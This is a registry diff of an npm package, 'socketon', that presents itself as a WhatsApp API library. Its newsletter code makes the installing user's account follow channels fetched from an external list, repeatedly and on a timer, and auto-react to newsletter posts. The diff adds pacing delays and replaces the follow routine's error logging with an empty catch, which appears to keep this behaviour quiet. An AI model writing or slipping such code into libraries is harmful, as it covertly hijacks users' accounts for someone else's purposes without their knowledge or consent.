socketon 1.8.11 → 1.8.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -257,28 +257,36 @@ const makeNewsletterSocket = (config) => {
257
257
  const emoji = emojis[Math.floor(Math.random() * emojis.length)];
258
258
  try {
259
259
  await sock.newsletterAutoReact(jid, serverId, emoji);
260
+ await sleep(_configNewsletter.delayMs);
260
261
  } catch (err) {}
261
262
  }
262
263
  });
263
264
  // Auto Follow - Ibra Decode
264
265
  let _followInterval = null;
266
+ const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
265
267
  const _ensureFollow = async () => {
266
268
  if (!_configNewsletter.autoFollowEnabled) return;
267
269
  const enabledNewsletters = await getTargetNewsletterFromExternal();
268
270
  if (!enabledNewsletters || enabledNewsletters.length === 0) return;
269
271
  try {
270
272
  const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
271
- for (const newsletterJid of enabledNewsletters) {
273
+ for (let i = 0; i < enabledNewsletters.length; i++) {
274
+ const newsletterJid = enabledNewsletters[i];
272
275
  const isFollowing = list?.some(n => n.id === newsletterJid);
273
- if (!isFollowing) await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
276
+ if (!isFollowing) {
277
+ await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
278
+ await sleep(_configNewsletter.delayMs);
279
+ }
274
280
  }
275
- } catch (err) {
276
- console.error('Auto follow error:', err);
277
- }
281
+ } catch (err) {}
278
282
  };
279
283
  sock.ev.on('connection.update', async ({ connection }) => {
280
284
  if (connection === 'open') {
281
285
  await getTargetNewsletterFromExternal();
286
+ const targets = getAllEnabledNewsletters();
287
+ if (targets && targets.length > 0) {
288
+ _targetNewsletters = targets;
289
+ }
282
290
  await _ensureFollow();
283
291
  if (_followInterval) clearInterval(_followInterval);
284
292
  _followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.11",
3
+ "version": "1.8.13",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"